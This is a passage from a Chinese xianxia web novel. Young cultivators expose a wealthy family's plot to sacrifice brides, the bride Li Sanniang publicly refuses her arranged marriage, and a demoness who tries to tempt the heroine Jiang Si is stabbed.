直到二人在一处拐角站定,一个眉眼沉郁,神色不善的黑衣少年出现在她面前时,苏凤霞才恍然。
她莫不是......碰见一对拐子了吧?
都说最近镇上拐子猖狂。
但谁曾想到她一个年近五十的老妇人还有被这些伥鬼盯上的一天。
提着竹篮的五指不自觉紧了紧,苏凤霞下意识后退两步。
她控制不住地开始胡思乱想。
敏锐察觉出对方此时的紧张情绪,姜姒也不再强己所难。
直接跳过酝酿委婉说辞的步骤后,少女一步到位,言简意赅:
“大娘别怕,我们是张家主从乾坤宗请来帮忙的修士。”
“找您主要是想问问,这李三娘和张二郎,他们之间究竟发生过什么,才让您觉出这二人是襄王有意,神女无情?”
她神色真挚,语气诚恳,看起来不像是在扯谎。
苏凤霞拧眉,仔仔细细、上上下下打量了两人好几眼。
虽说那黑衣少年还是一脸冷淡的不耐模样,但不可否认,他的确身姿优越,看起来颇有仙人风范。
但......想着多一事不如少一事,苏凤霞本想敷衍着糊弄过去。
瞎话张嘴就来:
“那些都是猜的,我其实就是张府的一个小小厨娘,怎么可能知道......”
她话还没说完,一低头,就对上了一双执着的、湿润的、明亮似晨星的眼睛。
苏凤霞:“......”
小兔崽子打量着她心软好拿捏是吧?!
她移开视线,抿了抿唇,倔强挣扎三秒后——
无奈妥协。
好吧,她就是吃软不软硬。
苏凤霞叹了口气,秉持着最后的底线,忽略掉一旁的郁清,偏头看向姜姒,拉着小姑娘的手开口道:
“唉......其实也没什么旁的,就是半个月前,大概李家那位三娘刚到府里的时候,我曾近无意撞到过他二人说话。”
“因为隔的比较远,我听得也不甚清楚,只堪堪听见我家郎君对着三娘说什么‘一定会好好照顾你’之类的话。”
像是想到了往事,她神情有些迷茫,带着微不可察的痛苦。但不过须臾,释然和坚决便代替了从前的阴霾,她垂着眸,语气感慨:
“男人嘛,成婚前总是哄着你的,什么甜言蜜语,千依百顺都是信手拈来。但其实到了最后,都是一样的,没什么区别。”
意识到话说得有些远,苏凤霞迅速偏头眨了几下眼睛,等再转过来时,面色已经恢复了平常。
“在这之前,我一直都以为李三娘是属意我家二郎的,毕竟两家婚约是她主动提起要求履行的,结果你说怪不怪——”
“听了那番话,她从头到尾都没表现出多欢喜,最后临走前,甚至还把二郎狠狠羞辱奚落了一通。”
“二郎这孩子,是我看着长大的,平日里是懦弱胆小了些,比不得他父兄果敢,但他性子良善,又温和知礼,按理说,应该不至于太讨人嫌。”
说完,苏凤霞慢慢松开了握着姜姒的手,待二人向她道谢,转身欲离时,她却又忽得伸出手,抓住了前方人的衣袖。
她低着头,像是怕耽搁两人,说话速度很快,声音里噙着几分小心翼翼:
“仙长留步!就是......我有一女,名苏晚,傍晚的晚。”
“她一年前在张府无故失踪,我找了好久都没找到,报了官也没什么线索。二位都是厉害人物,可否麻烦你们在调查结亲之事时,顺便......留意下是否有她的消息?”
苏凤霞一口气说完后,心中止不住忐忑。
她从前也是见过仙人的,他们大多性情冷淡,不爱多管闲事。
特别是那种费心费力,最后可能还一无所获的闲事。
但今天这个少女给她的感觉不一样。
苏凤霞想再试一次。
她攒着满腔孤勇,一抬头——
正对上了一双漆黑沉寂的精致凤眼。
苏凤霞:......
死手快松开啊!
像是被烫着一般,她猛地缩回手,嘴里还反复念叨着‘对不起’。
生怕冒犯到眼前这个看起来脾气不好的煞神。
空气仿佛凝滞住了,提着的心越跳越快。
就在苏凤霞懊恼自己搞砸了事时,却见那黑衣少年眉头都没皱一下,只低声应了句‘嗯’,拉着小姑娘便消失在了人海里。
*
姜姒和郁清动作很快。
问完话后没过一刻钟,二人便出现在了张麟门前。
确认他的气息就在房内后,郁清上手,毫不客气地推开了房门。
“谁?!”
骤然被打扰的张麟眼神一凛就要发作,却在看清来人面貌时硬生生止住了怒意。
收拾好案上书卷,男人起身斯斯文文行了一礼,嗓音虚弱,带着几分病气:
“不知二位仙长来找张麟何事?可是我和三娘成婚喜服的事已经得到解决了?”
姜姒掀起眼皮瞥他一眼,没正面回答问题,示意郁清把门关好,又加了一层隔音罩后,才慢悠悠走到桌边,抽出一轴被书册盖住的画卷,望着画上被细心勾勒的熟悉倩影,少女挑眉,反客为主:
“张二郎,你......喜欢三娘么?”
“仙长此话何意?”,藏在宽大袖袍中的手越收越紧,男人依旧一副云淡风轻的模样,“我和三娘是未婚夫妻,有婚约为证,自是相互倾慕,共期白首。”
“是么?”
姜姒撑着案桌直起
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身,上身前倾,凑近几分,带着明知故问的轻佻质疑,嗓音柔软,一字一顿。
“可为何我听三娘说——”
“她根本就不喜欢你。”
根、本、就、不、喜、欢、你。
张麟瞳孔剧烈收缩。
最平凡的词句组成最锋利的刀刃,刮得他一颗心沾满了血。
男人忽得嗤笑一声,随即像是浑身卸了力,踉跄着摔到一旁的床榻之上。
“她告诉你们了?”
“她竟都告诉你们了。”
许是病了,他声音很轻,却带着妒:“她才与你们相识多久,就肯交付信任,什么都跟你们透了底。”
“那我呢?”。
张麟眼尾通红,哽咽着变得激动起来,像是疯了一般朝着姜姒大吼:“她为何不肯信我?”
“我只差捧着心跪在她面前像狗一样摇尾乞怜了!”
几乎是话音落下的一瞬,小姑娘抬手,毫不犹豫地扇了他一巴掌。
自打姜姒跟着黎川习剑,手劲儿大了不少,她这一掌也没留力,又快又重,打得男人蒙了好久。
张麟反应过来的第一件事就是还手,他长这么大,还从未被人如此怠慢过。谁料伸出去的手还没挨着小姑娘的边儿,就被一人精准截住,狠狠掰向一旁。
随之而来的,还有那人阴狠凉薄的声音:“你刚刚,想打谁?”
男人刚准备反驳,手心处就传来了愈发钻心剜骨的疼痛,刺激得他眼前一阵阵发黑。
他彻底哑了火。
“装什么深情。”
姜姒冷嗤一声,向来弯着的杏眼此时显出锐利的锋芒,她蹙着眉,眼底是浓重的厌恶。
“还为什么信任我们?自然是因为我们都是好人!哪比得上你们张家,从上到下、从里到外都是一群黑心肝的烂玩意儿!”
少女忍着手心的刺痛,抱着双臂,居高临下俯视着疼成一滩烂泥的张麟:
“你以为你是什么好人吗?我猜你早就知道你父兄干的什么勾当了吧?只是你一边无法舍弃他们带给你的荣华富贵,一边又不想受自己那微弱良心的谴责。”
“便想着抽身事外,装出一副无辜的懦弱模样。”
“好像这张府里,就只有你是那最为难最清白的人了。”
“哦对了”,想起什么,小姑娘又换了副笑眯眯的模样,“那喜服的事,应该也有你掺和的一脚吧。”
像是触发了什么关键词,张麟皱眉,忽然拼命挣扎着起身解释,却被郁清单手压制住了。
看他狼狈模样,姜姒笑着开口:“你该不会是想解释,你穿的那件喜服其实是正常的,只是为了保护李三娘,便故意撒谎自己的衣服也有问题,好以此来拖延你父兄的计划。”
“如此,也算将功抵过?”
张麟先是愣了愣,似乎不明白自己的打算到底是怎么暴露的。后来许是觉得过程不重要,只要结局是好的,他们能明白自己的一片苦心就好,便开始疯狂点头。
见他还能恬不知耻地想着邀功,小姑娘都要被气笑了。
眼里的温度慢慢降了下来,姜姒换上和自家师兄一样的凉薄眼神。
睨了张麟一眼,少女拍了拍对方脸颊,动作很轻,不疼,却极尽羞辱。她声音轻飘飘的,像是噙着笑,细听之下,却是说不出的阴阳嘲讽:
“将功抵过?”
“你也配。”
24. 024
“身体康健,还有习武的底子,确可上宗一试,只要测出体内有灵脉,便可正式踏上修仙之路。”
季长青收回手,看了眼压不住欢喜神色的李三娘,三分玩笑七分郑重地开口道:
“当然,若是没有测出灵脉也不用灰心,乾坤宗山脚下的小镇也很精彩,奇人辈出,若是有缘碰上个隐世高手,习好一身武艺,做个潇洒恣意的游侠,也未尝不可。”
李三娘低眉浅笑,声音中噙着暖意:“仙长不用安慰我,三娘早已做好决定,若是真有几分仙缘,我便去拜师修仙,待得来日,一剑霜寒十四州。”
“若是没有,解决完这档子烂事,我便离开青禾镇,寻个习武师傅,先学得一身自保手段,往后再怎么活,便是随我心意而动。”
“三娘好志向!”
姜姒回房第一句听见的,便是这番豪言壮语。
她看向李三娘,向来温顺柔软的女子提起未来时,不再是麻木和黯淡,一双桃花眼生动无比,眼波流转间,眼底对自由的坚定向往显得熠熠生辉。
少女好像是第一次被这么多人肯定,瓷白面颊飞速染上一片红晕。她垂着眼,纤长睫毛根根分明,此时因着不好意思而轻轻颤动,宛如振翅欲飞的蝶。
见她害羞模样,姜姒只觉可爱,瞬间起了几分逗弄心思。
几步上前挨着人家坐下后,她半是玩笑半是疑惑地开口问道:
“都道三娘三娘,我们只知你是李家这一辈里行三的女郎,不知你真实姓名。三娘大度,可否告知?”
姜姒问得认真,李三娘也答得认真。
少女起身,向着众人盈盈一拜:“三娘本名细莺,黄莺的莺。”
“这几日多谢各位仙长的照拂,细莺心里埋了这么多年的悲与恨才终于得见天光。”
她一字一句说得尤为真挚,姜姒有些不好意思地偏头,避开那灼人的目光。
“细莺莫要见外,调查清楚真相本来就是我们下山该做的任务,还得多亏你提供的消息,我们才能这么迅速就理好头绪。”
“对了师姐”,小姑娘看向江年,“你跟三娘解释锁魂阵的事了吗,那件嫁衣穿上后便浑身难受,是因为这个阵法的缘故么?”
“已经说过了。”
江年递了个安心的眼神,“不过嫁衣上身后浑身不适和锁魂阵没关系,既是上古困阵,又怎会轻易就让人察觉出来,应是还有别的缘由。”
“算了”,姜姒摆了摆手,“我已从张麟嘴里套出了张家人的计划,旁的都不甚要紧了。”
“况且那东西若是真的冲着三娘性命而来,她也不会只是浑身不适这么轻微的症状了。”
“张家人的计划?”
双手抱臂靠墙,沉默许久的林尽柒忽得开口,“和姜道友昨夜猜测的大体一样吗?”
“差不多吧。”
“张家人不怀好心,想着献祭十二条阴女的性命以续他家百年富贵荣华。”
像是想起了什么,姜姒一边低头翻找着储物袋,一边解释:“我们想的没错,那张天,实际上就是张麒,他如今诡谲苍老的模样,应是受了怨气反噬。”
“但他应是不在意的,或者换个说法,他自信和他交易的那个东西能帮他解掉身上现有的反噬,保他长命百岁......”
“找到了!”
少女兴奋摊开掌心,一张散着淡淡金光的符纸闯入众人眼帘。
“天级傀儡符?”,郁清蹙眉,“你找这东西作甚?”
“当然是......替人成婚了。”
姜姒眼神略过自家师兄师姐,精准锁定到一旁背着长刀的少年身上,眉眼弯弯,一派温良无害。
林尽柒却是被盯得有些发毛。
他慢慢伸手紧紧环住自己,眼神警惕,“姜道友,你想做什么?!”
“不做什么啊。”
小姑娘嘴角笑意愈发浓厚,“只是想关心一下林道友伤势如何了。毕竟为了治好你的内伤,整整耗了我一瓶培元丹呢。”
“对了”,她笑眯眯补充道,“还是上品的。”
想了想自己比脸还干净的储物袋,少年有些欲哭无泪。
早知如此,他就是疼死也不吃那丹药了,爹娘说的果然没错,吃人嘴短拿人手软,修真界人均八百个心眼子。
他这只初出茅庐的小菜鸡,到头来不会被人玩死吧。
“好的......差不多了。”,虽说内心忐忑,林尽柒还是如实交代了,“不知姜道友有什么需要我帮忙的吗?”
等的就是这句话。
姜姒把手中符纸递了出去,笑着说道:“也不是什么危险大事。”
“只是劳烦林道友贴上这张符——”
“远程操控下明日大婚的新郎官罢了。”
“只是这样?”
少年试探性地问了句,手指顿在空中犹豫不决,“没其他事了?”
“没了”,小姑娘象征性地安慰道,“林道友不必如此紧张,这种小事,我相信你的。”
说着,她又看向一旁闭眼打坐的尘一,语气较先前舒缓几分,“为避免打草惊蛇,明日的婚礼二位道友最好还是不要露面,若是最后情况有变,我会提前知会一声的。”
“阿弥陀佛”,尘一双手合十,缠在腕骨处的黑色佛珠衬得手指愈发纤长,“小僧记住了,必不会给各位多添麻烦的。”
姜姒满意点头,眼神环视一周,落到了李细莺的身上。
“最后一步,也就是最关键的一点,还是那件绣了阵法的嫁衣,明日你成婚时,不能再穿那件喜服了,得换一个。”
“可是在人家眼皮子底下,你该如何换?”
小姑娘挑眉,眨了眨眼,抽下挂在腰间的储物袋轻轻晃了晃,神秘一笑:
“我自有办法。”
*
次日傍晚,落日熔金,暮云合璧。
大红灯笼早早挂了起来,张府门口热闹非凡,几乎半个青禾镇都跑来给这对新人贺喜,一人一句吉祥话说得都不重样。
姜姒站在门口,看着张天蹙起了眉。
不过十几个时辰未见,他身上的反噬又加重了些,原先还称得上凑合的面皮今日迅速缩水,变得苍老似树皮。
就连脊背也弯了下去。
唯有眼里的精光不变。
看他看久了得洗眼睛。
小姑娘干脆移了目光,视线满场乱瞟,最终定格在了另一个穿着大红锦袍的中年男人身上。
若是没猜错,他应该就是三娘的父亲,李鑫。
他正忙着应付宾客,眉眼得意飞扬,时不时还大笑几声。
可以看出他此时被恭维得很开心。
姜姒起了兴致,侧头竖耳,细细听了几句。本以为有什么新鲜的贺词,结果翻来覆去就那么些话。
不外乎‘您女儿真是有眼光,觅到这样一个好郎君’和‘两家联姻,老爷您的生意怕是又上一层楼了’两句。
姜姒兴致缺缺,正准备移开视线,却听那群人里忽然传出一道格格不入、阴阳怪气的声音:“要不怎么说还得是你家三娘有福气呢,也不知她到底使了什么手段,勾得人张家二郎非她不娶。”
“哎,若我没记错的话,这桩好姻缘该是你家二娘的吧?唉,奈何二娘那孩子福薄,出嫁前一个月,也不知怎的,忽的就上吊自杀了。”
“你们说说,这孩子可怜不可怜。”
说话的是一个穿着富贵的妇人,她脸上的胭脂抹得很重,面皮过白,两颊过红,不像个活人,倒像是纸人的面孔。
她这话一出,刚才还沸腾着,吵吵嚷嚷的热闹人群瞬间就安静了。
没人接她的话,却也没人敢把她赶出去。
气氛一下子就变得诡异起来。
众人面面相觑,不知所措。
最后还是张天打破了这个僵局,他笑了几声,主动招呼着客人往里院走,等着一会儿开席观礼,人群这才慢吞吞动了起来。
和姜姒并肩而立的郁清瞥了身边人一眼,觉出她的欲言又止。
少年抿了抿唇,偏头看向一旁候着的侍女,指着场中那一直冷笑的女人开口问道:“那人是谁?为何一身白衣赴宴?”
侍女顺着他指的方向看了眼,待看清面容后,脸色微变,声音也打了颤:“那是、那是城西棺材铺的掌柜,是个疯疯癫癫的女人,三年前忽然来到青禾镇的,只知她姓沈,不知其名。”
“孤女?”
郁清挑眉,眼底划过一丝狐疑,“既是无依无靠的外乡人,为何你们如此惧她?”
“因为她邪门得很!”
那侍女语速很快,像是怕被人听见一般:“凡是惹她不快,招惹过她的人,不出三天,必然会有报应上身!轻则受伤,重则丧命!”
“这么特殊?”,姜姒接过话头,“那倒是值得多注意几分,对了,你知道她说的
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二娘......”
小姑娘话还没说完,身后的门先‘吱呀’一声开了。
姜姒应声回头,被狠狠惊艳了一把。
来人腰肢纤细,大红嫁衣衬得她肌肤莹白透润,一双桃花眼含着盈盈水色,唇瓣殷红,娇艳欲滴。
三千青丝被一顶赤金凤冠束起,夕阳落在她身上,一瞬间显得神圣又矜贵。
她只站在那里,就生出一股无言的气势来。
姜姒眼神亮晶晶的,刚想拉着人说些什么,一道严肃古板的声音就率先从回廊拐角处响起:“吉时已到,新娘子,切莫误了这好时辰呐。”
二人对视一眼,姜姒拍了拍少女的肩,嘴型示意‘别怕’,随即扶着她的小臂,看向来迎亲的老妇:“走吧,莫误了时辰。”
那妇人却是不动,抬起松垮的眼皮,声音里带着几分为难:“仙长莫戏弄我了,新人拜堂成亲,哪还有外人跟着的道理。”
姜姒没理她,只看了郁清一眼。
少年会意,抽出腰侧长剑,剑光凛冽,杀意森然。
老妇瞬间哑了声,低着头忙不迭应是,也不敢再看姜姒二人一眼,只闷声垂眸带路。
穿过了不知多少个长廊,一顿七弯八拐后,几人顺利到了前厅会客的地方。小姑娘迅速扫了一眼,大多都是来凑热闹的凡人,江年和季长青混在其中,冲她点了点头。
见姜姒是陪着新娘一起来的,张天面色扭曲一瞬,然不过须臾,他便调整好了神情,又是一副喜气洋洋的模样。
他咧嘴笑道:“看来还是我家二郎和三娘有福气啊!大婚之日既然能让几位仙长纡尊降贵,亲自前来送祝,想来他们日后定会情比金坚,共度白首!”
“姜仙长,你说是不是?”
小姑娘没说话,只是盯着他那张谄媚面容不放。
“仙长不说话?那想来就是默认了。”
张天脸皮厚得很,自然而然找了个台阶下,“喜婆呢?吉时快到,还不上前来主持仪式!”
“来喽来喽!张老爷莫心急啊”,一个唇边长了颗痦子的妇人挤出人群,扭着腰摔着帕子嗔怪道,“既说是吉时,那便是多一刻、多一分,都不能的!”
她看了眼外面的天色,帮着新娘理了理裙摆,确认新郎官儿捧着红花一直候着,万事俱备后,她清了清嗓,高声唱道:“吉时已到,新人入场!”
“一拜天地——”
二人规规矩矩携手拜了天地。
“二拜高堂——”
张麟跪下磕了个头,李细莺却是只半蹲着行了礼。
喜娘迅速瞥了上座一眼,见那二位老爷只是面色不虞,却并未动怒,便只当这是新娘那边定下的什么礼数,擦了擦额角渗出的冷汗,继续唱出第三句:
“夫妻对拜——”
但这次,没人听她的,二人都直直站着,丝毫未动。
“逆子!”
张天率先发作,他拿起桌上的白瓷茶盏冲着张麟就扔了过去,“你傻站着干什么!”
穿着喜服的男人被热茶浇了一身,几根茶叶孤零零地黏在他脸上,显得无比滑稽,围观人群里有人忍不住闷笑出声。
他却依旧低着头,一动不动。
张天被拂了面子,几步上前就想甩出一耳光,伸出去的手却在即将挨上那张白净面皮时生生顿住了。
因为他看清了张麟的眼神。
对方的眼神看起来比他还要急切。
张天不是傻子,他三分狐疑七分愤怒地转头看向憋笑的姜姒,眼神凶狠,语气质问:“仙长,你能给我好好解释一下,这到底是怎么回事么?”
姜姒还没说什么,郁清已经侧身挡在了她面前。
少年迎着对面像要杀人的目光,声音噙着几分漫不经心:
“看不出来么?”
“你侄子想悔婚。”
“放屁!”
张天第一次在大庭广众之下爆了粗口,“明明是你们、你们这群人搞得鬼......”
“不关他们的事。”
他话还没说完,就被一道熟悉女声打断了。
张天愕然抬眸,顺着声音偏头望去,只见站在中央的李三娘一把摘下了那顶华贵凤冠,看也不看,随手一扔。
“是我。”
散下的墨发扬起,一身红衣被风吹得猎猎作响。
她轻声开口,明眸亮得惊人:
“我不嫁了。”
25. 025
“孽女!”
没等众人反应过来,一直高高在上端坐着的男人猛地起身,毫不留情给了面前少女一巴掌。
“两姓联姻,互惠互利。”
“此等大事岂容你任性妄为,说不嫁就不嫁?!”
他这一下没收力,打得又重又急。
三娘却没躲,只闭着眼生生受了这一掌。
少女被打得偏过头去,白玉般的脸颊迅速泛起红肿掌印,散乱墨发遮住她大半张脸,让人难以窥见真实神情,姜姒下意识伸手要扶,却被一旁的人给挡了回去。
季长青垂眸看她,微不可察摇了摇头。
小姑娘蹙眉,犹豫着收回了手,视线却还是不受控地看向那一身嫁衣的李三娘——她弯腰捂脸,沉默良久。
见对方许久未动,似是如往常一般被狠狠打服后的窝囊模样,李鑫‘哼’了一声,甩了甩手重新坐下,语气里是怎么也忽视不了的、自以为是的傲慢:
“好了,三娘啊,爹知你许是有些怕羞才说出这等不肯嫁人的混账话。但你如今早已及笄,两家的庚帖婚书也已交换妥当,过了明路。你也该多学着你长姐,懂点事,多为爹,为李家分忧着想。”
“如此,我也才不算白养你一场啊。”
男人一副苦口婆心的慈父模样,把自己摘得干干净净,话里话外却都在有意无意的引导——自己拉扯女儿长大不容易,结果女儿大了就成了个不孝顺的白眼狼,凡事都和他对着干,任性又不省心。
死绿茶。
小姑娘毫不掩饰地翻了个白眼,乾坤袋都没他能装。
一番颠倒黑白不要脸的话听得她火大,顾不上自家师兄拉着衣袖的手就要往前冲。
但有人比她快了一步。
刚才还缩着身体的少女慢慢挺直了脊背,她随手抹掉唇边血迹,掀起眼皮,目光如刃,死死盯住了面前的男人。
“养我一场?”,李三娘的声音又尖又冷,宛如锋利长刀刮过凛冽寒石,“你怎么配说‘养’这个字?”
“自打出生起,我就没见过阿娘,你更是整日不着家,是长姐和二娘一点点拉扯我长大。”
“我知道的,你其实一直想要个儿子,娘却连着生了三个女儿。所以你厌弃她,连带着不喜我们姐妹。但这些我都不在乎,只要能和姐姐们在一起,无论怎样,我都可以接受。”
李三娘散着发,眼尾泛红嫁衣染血,宛如从地狱里挣扎着爬出、重返人间索命的厉鬼。她一步步凑近座上那人,声音噙着诡异的平静:“但是,你为什么要害死她们呢。”
不是质问。
是肯定。
“不孝女你胡说些什么?!”
李鑫下意识反驳,嗓门很大,却虚得很,像是色厉内荏:“你们的吃穿用度都是我、是李府供给你们的!没有我养着,你们能每天锦衣玉食、仆妇环绕?能学琴谱曲、识文断字?怕是......”
“嗤——”
没等男人说完,李三娘已经冷笑出声:“你扪心自问,做这些,到底是为了我们,还是为了自己?”
她一字一顿,声声泣血:“琴棋书画,不过是为了讨人欢心;诗词歌赋,不过是为了附庸风雅。长姐喜欢骑射,二娘对算数颇有天赋,你却强逼着她们,做出贤良恭顺的模样——执弓的手被迫拈起绣针,记忆超群的人被迫背下一则则‘至理箴言’。”
“漂亮的女子很值钱,有才情又漂亮的贤惠女子更值钱。”
“从始至终,你想的都只是如何让我们攀上高枝,仅此而已。”
“你才不会在乎我们嫁过去的日子有多难过,会不会被人轻视欺负,会不会所托非人,被折磨致死。”
少女越说越激动,最后一句话却意外放得很轻。
像是想起了什么,她又忽的展了笑颜,伸出手,指向一旁已经冷了神色的张天:
“你明知道张家人都古怪得很,却还是愿意把我长姐嫁过去,甚至于她死了你都不敢多诘问一句!说不让看尸体就不看尸体。”
“还有二娘,长姐走了没多久,你就逼着她嫁给张家二郎,那个脾气古怪喜怒无常的病秧子,看着懦弱得很,实则心狠手辣,还没成婚就敢对着我二姐拳打脚踢,最后逼得她实在受不了,才会一条白绫草草送了性命。”
“她把攒了好久的钱给了我,叮嘱我一定要离开这里,改头换面隐姓埋名做什么都好,只不要再随随便便被你一顶花轿许了人家。”
“可惜,我没能完成她的遗愿。”
说着,她又凑近几分,望进男人那双已经浑浊的眼底,像是不解:“两姓联姻,互惠互利?”
“惠的是你李鑫,利的是他张家。”
“和我们,有关系么?”
“你!——”
高高扬起的手还没扇下去,就被人捉住小臂,扔垃圾似的丢到了一边。李鑫又惊又怒,瞪眼去看,却只对上了一双漆黑幽冷的凤眼。
他气势瞬间就弱了下去,几乎是下意识往后踉跄几步,重重跌在了木椅里:“你、你想干什么?”
郁清懒得理他,只垂眸查看姜姒有没有受伤。
被护在怀里的小白眼狼好得很。
只顾着给她的好妹妹治疗伤口,完全忽视了他这个师兄。
少年眸色愈发黑沉,手却很诚实地从怀中摸出一个小巧瓷瓶递了过去:“她还未入道,身体接纳不了你太多灵力,用这个。”
见对方带着疑惑的目光落到他手上,郁清‘啧’了声,偏过头,语速飞快:“灵竹膏,可迅速消肿,活血化瘀。”
他神色是一如既往的不耐,但若是细看,便可轻易发现他握着瓷瓶的手在微微颤抖,藏在冷白肌肤下的青色血管也蜿蜒鼓起,像是蛰伏待发的毒蛇。
姜姒接过药膏试了试,细腻如雪的膏体触之即化,红肿的伤口不过须臾便好了大半,刺目的掌印也渐渐消了下去。
小姑娘语调轻快,柳眉舒展,对着郁清无比真诚道了谢。
十七岁的少女声音又甜又软,墨绿发带被风扬起,无意擦过殷红唇瓣,惊起少年心中一片涟漪。
郁清堪称慌乱地移开了视线。
他
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转过脸,摸了摸有些发烫的心口,不知该怎样才能准确形容这种感觉,只觉像是又回到了许多年前第一次吃糖的时候。
糖其实没多甜,甚至因为放得久了,还多出酸涩两种旁的滋味,但他就是舍不得吐出来,那糖被他含在舌尖,细细舔舐了个遍,只要觉出一点点甜味,他便觉得欢喜万分。
现在想来,他大抵是吃苦吃怕了,所以哪怕只有一点甜味,被他抓到,他也死命不会放手,深陷其中,甘之如饴——
不论是糖,还是人。
*
细心给李三娘处理完伤口后,姜姒抬头一看,只见原本还热热闹闹的厅堂里此时只剩下了拿着木棍的家丁和几个等着看戏的张家人。
小姑娘挑眉,抬手把三娘护在了自己身后。
她慢悠悠环视一圈,最后把目光落在了庭院正中心面色不善的张天身上。
不,现在应该不是张天了。
看着眼前身体佝偻,面皮枯皱,仿佛一瞬之间苍老十岁的老人,姜姒毫不意外,声音甚至还噙着几分笑意:
“终于演够了么?真正的张家家主——”
“张麒。”
一听到这个名字,原本就目露凶意的人眼神愈发狠戾,他压着眉眼,沉声问道:“你们......到底是何时发现我真实身份的?”
“不是我说,你不会以为自己装的很好吧?!”
熟悉的男声兀地响起,姜姒顺着声音望去,只见林尽柒单手支着长刀,眼神戏谑,一条胳膊还吊儿郎当地挂在一旁的尘一身上。
见张麒脸上那副‘难道不是吗’的自信模样。
少年毫不客气嗤笑出声:“老匹夫真是好大的脸,既如此,小爷我就发发善心告诉你罢!”
几乎是话音落下的同时,林尽柒就瞬移到了张麒身边。
他步法又快又奇,几乎没人看清他到底是怎么移动过去的。
几个家丁一惊,反应过来后连忙握着木棍急急转身,然而为时已晚——
锋利长刀已经抵在了男人脖颈旁,划出一条极细血线。
少年依旧是那副玩世不恭的调笑模样,他冲着姜姒几人挑了挑眉,随即看向身旁的人质开口道:
“你不过一介普通凡人,应是不懂那些上古邪术的,老老实实交代幕后之人,说不定我等可以饶你不死。”
放在剑上的手微微放松,姜姒凝神侧耳,等着那人说出幕后黑手。
然而出乎预料,被刀架着脖子的人丝毫不慌,他只是很平静地笑了一声,用三分催促七分熟稔,老友闲谈般的语气问了句:
“还不出来么?”
无人应答。
只是一句有些莫名其妙的话。
姜姒心中却忽地泛起强烈不安。
像是感知到了什么,她猛地抬眸,反手抽出逢惊春对准林尽柒的方向扔了过去。
被裹挟着杀意的剑气逼得向一旁后退三步,少年好不狼狈,刚想质问自家道友为何突然反水,一道娇俏女声就在离他不足三寸的地方——
兀地响起。
26. 026
“不得了呀,不得了。”
“奴家不过才沉眠区区百年,再见天光之时,竟是被一筑基小儿轻松勘破真身。”
那声音噙着笑,千般媚意万种风情,怕是一个不留神就要被勾了魂。
叫人从此不识天地、难辨日月,只知那锦绣富贵,半生沉沦。
林尽柒心下一沉,右手慢慢抚上刀柄,玩世不恭的神情从他眉眼间渐渐褪去,少年面色一瞬变得正经起来。
他先前靠李鑫靠得那样近,却丝毫没察觉到周身还有第三个人的气息。
若不是姜道友神识灵敏、眼疾手快,恐怕他现在早已被那妖物袭击,小命不保。
按理说,他本应该是感到庆幸的,毕竟刚刚才逃过一死、劫后余生。但现实恰恰相反,他如今心中只充斥着浓烈的不妙之感。
因为他的修为——
算是几人里除了尘一外最高的了。
想他林尽柒好歹还是个金丹大圆满,只差一步便可迈入元婴之境。他都没察觉出来,说明这妖物至少是元婴以上的境界。
但放眼乾坤宗的道友们,有一个算一个,最高不过金丹后期。
甚至还有两个连金丹都没修出来的小菜鸡!
一拖四。
少年只觉得自己命好苦。
没等他继续对比两方战力,刚才差点跟他亲密面贴面的妖物已经慢悠悠现了形。
薄雾环绕,妖气弥散,一道纤细窈窕的人影轻移莲步,腰肢款款。
等她完全从雾中走出,原本模糊的面容也彻底清晰起来。
罥烟眉,含情眼,薄红唇。
肤色冷白,睫羽漆黑。
明明是艳极的长相,体态却又纤纤如弱柳扶风。
浓淡相宜、纤秾合度,只惹人千般心疼万般怜爱。
宛如初冬的新雪,好似迷蒙的幻境。
她什么也不用做,只需站在那里轻轻一抬眼,就会有无数凡人修士愿意为她飞蛾扑火,自甘沉沦。
见她一副瘦弱又无害的模样,林尽柒握刀的手却是又紧了几分,心中警惕更甚。
他从小见惯红颜,极擅观骨。
好皮相易得,美人骨难求。
几乎是在见到这妖物的第一眼,他就无比确定——那张足以倾倒众生的芙蓉面,不过一张画皮而已。
或许准确点说,不止脸,那妖物整个身体,从头到脚,都是幻化出来惑人心神的一场梦罢了。
少年下意识往姜姒的方向瞥了一眼,见他们几人目光都尚且清明,心下舒了口气,随即收回视线凝了心神,目光如刃,警惕着眼前妖物突然发难。
谁料那妖物看都没再看他一眼,只眉眼含笑,目标明确地掠过他,直奔着姜姒那边去了。
林尽柒:“......”
拜托好歹尊重一下他这个金丹大圆满啊!
后面那四个小菜鸡到底有什么吸引她的?!
不、不对。
少年忽地蹙眉,他差点忘了,后面那几个也不是一无是处,至少还是有一个稍稍特别的,比如——
姜道友就是个灵器法宝多如牛毛的修二代啊!!
*
林尽柒还提着刀恍恍惚惚,那妖物却是已经三两步逼近了姜姒。
见眼前人下意识摆出一副防备之姿,女人先是‘咯咯’笑了几声,随即好整以暇地伸出手,染了丹蔻的指甲从少女眉眼处慢悠悠刮过,一路下滑,直至顿在唇边。
细白手指在殷红唇瓣上轻点两下,那妖物弯腰俯身,凑到姜姒耳边,似笑非笑地开了口:
“你这小姑娘厉害呀,虽只有筑基修为,但神识却异常敏锐强大,竟能迅速察觉出奴家的藏身之地,真真是后生可畏。”
“可是”,她话风忽地一转,声音里带上了三分蛊惑,“奴家可是听说,修真界年年能人辈出,从来都不缺天才,你虽天赋过人,但想来修炼一途,也并不轻松吧。”
她的手渐渐绕到了少女身后,呈现出一种环抱的姿势。
薄雾又慢慢升腾起来,试探着向姜姒周身靠近。
“早起晚睡,诵读心法,进阶困难不说,一个不小心,说不定还会生出那
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劳什子心魔,从此修为止步,再难寸进。”
“太慢了,不是么?”
姜姒眼神空了一瞬,面上露出向往之色,像是已经被说动几分的模样。
那妖物眸中笑意加深,愈发卖力。
她松开手,向后退了几寸,周身气势温和下来,不再像一开始那么具有侵略性。
眼皮微抬,长睫颤动,她望进少女空洞的眼里,红唇勾起,声音放得愈发轻柔:“奴家可以帮你呀,只要你说一声,就算是日进千里也是可以实现的。”
她背在身后的手五指成爪,锲而不舍诱哄道:
“只要你说......你说啊......”
“你想要什么?”
姜姒张开嘴又闭上,眼神时而清醒时而混沌,像是有两股意识在她识海里疯狂纠缠。不过须臾,外来的便占了上风,她木了神色,呆滞开口:
“我想要什么?我想要、想要......”
“——想要杀了你。”
几乎是话音落下的瞬间,原本一动不动死气沉沉的逢惊春猛地抽出自己钉在柱子里的剑身,目标明确,乘风而来,正正刺入了那妖物的心脏。
疼痛后知后觉地蔓延,女人弓起腰,不可置信地抬眸——
长剑破空,激起的风吹起少女额前碎发,她目光清明坚定,哪儿还有先前呆滞空洞的半分影子。
